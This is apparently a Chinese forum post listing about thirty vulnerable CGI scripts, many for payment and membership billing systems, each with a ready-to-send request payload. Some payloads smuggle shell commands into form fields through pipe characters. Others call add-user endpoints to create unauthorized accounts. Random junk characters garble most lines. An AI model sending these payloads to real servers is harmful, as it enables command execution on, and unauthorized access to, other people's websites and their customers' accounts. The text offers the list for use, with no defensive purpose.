Cgi-bin 30个漏洞＋使用方法

admin

==============================

+ I( `4 r9 y% |: e0 {$ M. n5 {' B3 F/smspass.pl
username=username&password=password
8 G% {7 a) ^/ j" O* Y" V: L: o) }
/index.cgi
$ {! u0 I) W3 C& Z! M) D) D# U) Swei=ren&gen=command

9 W. q3 }9 B, p9 @: \& P$ J/passmaster.cgi
Action=Add&Username=Username&Password=Password

# `- n1 ?: P9 z3 D) M" w/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|

/form.cgi
9 F& M2 M9 v/ G; L4 sname=xxxx&email=email&subject=xxxx&response=|echo;ls|
; J  S: e- _9 \8 p- i! P0 m8 S
/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

/ccbill-local.asp
( T6 H7 i) T4 dpost_values=username:password
6 R& k) G  ?, E4 E. r9 N& H
6 X8 W, T. \  ~' E0 p/count.cgi
pinfile=|echo;ls -la;exit|
0 \# n% Y' f9 y: t' P2 \/ I3 n' X2 i$ T
/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
/ E( }( G0 A* F9 H1 V' Q
5 r" E; A$ z# B. ~9 P/verotelrum.pl
# o! X1 p( u! e* n+ t: \1 x' Nvercode=username:password:dseegsow:add:amount<&30>

/af.cgi
) T1 L2 T2 D& U1 N- w% s_browser_out=|echo;ls -la;exit;|

/ I, O; P/ p1 x+ |9 \- A  r/modify.cgi
username=username&password=password&expire=30

/openjournal.cgi
+ z- ^# J4 b5 N3 Yedit=1&ct=2&go=|echo;ls -al;exit|
+ w/ H. j) I: ~1 T" y- s
/gx9passwd.cgi
. |2 Y- a$ h) a% Jcmd=ADD&user=username&pass=password
2 r5 R( F2 C% I* s( j2 C6 c
4 ^& I6 l7 k* |- F8 H1 u- A/probecontrol.cgi
$ G' E# K3 {& b. @/ ~: e; }: X* z0 lcommand=enable&username=username&password=password

/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
! Y# b0 _8 z5 [5 S
/htadd.pl
+ d6 f0 m  Y$ A$ yconfigfile=|echo; ls -alt; exit

/gx9passwd.cgi
/ V/ g9 b1 h+ acmd=ADD&user=username&pass=password

1 r- r6 J6 M# q9 W) E3 Y3 L/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password
0 D! A, Z1 t) v8 R# Y
/cpay.cgi
  M. K, y( O; p* S1 I6 w" S2 Rcommand=add_member&username=username(EMAIL)&password=password(DES)

3 y4 m" b+ \- L5 E/globill_ut.cgi
4 Z+ ^% `, ]) i0 H& G+ ndo=add&username=username&password=password&wpassword=password
- f0 E) Z7 ], H' h% r/ e0 t9 Y
/usercontrol.cgi
command=enable&username=USER&password=PASS
) @  B6 F1 B6 n0 n5 n
/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

/addusr.pl
user=USER&pass=PASS&confirm=PASS
0 M2 J" i0 Q9 V: A- j' E
/pincount.cgi
+ ~7 }+ N( m% L: L/cgi-bin/mastergate/pincount.cgi
& r/ w- G2 c0 ~pinfile=|echo;pwd;exit|
- q1 {& w( l# v7 a1 V3 J8 R
. {( J8 N9 M9 v" S! L- A/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
  S4 j1 Y* s% j5 m: fusername=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
7 t) x+ x6 \  W$ y: h. k/env.cgi
ADD+;echo;pwd;exit
( A1 R3 A$ T9 L" b& w: q+ Q5 L
/count.cgi
pinfile=|echo;pwd;exit|

9 @3 S4 h! I$ u9 T/ o' B, h/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
username=username&password=password&expire=30

==============================
+ G0 g5 `0 F1 m- @" q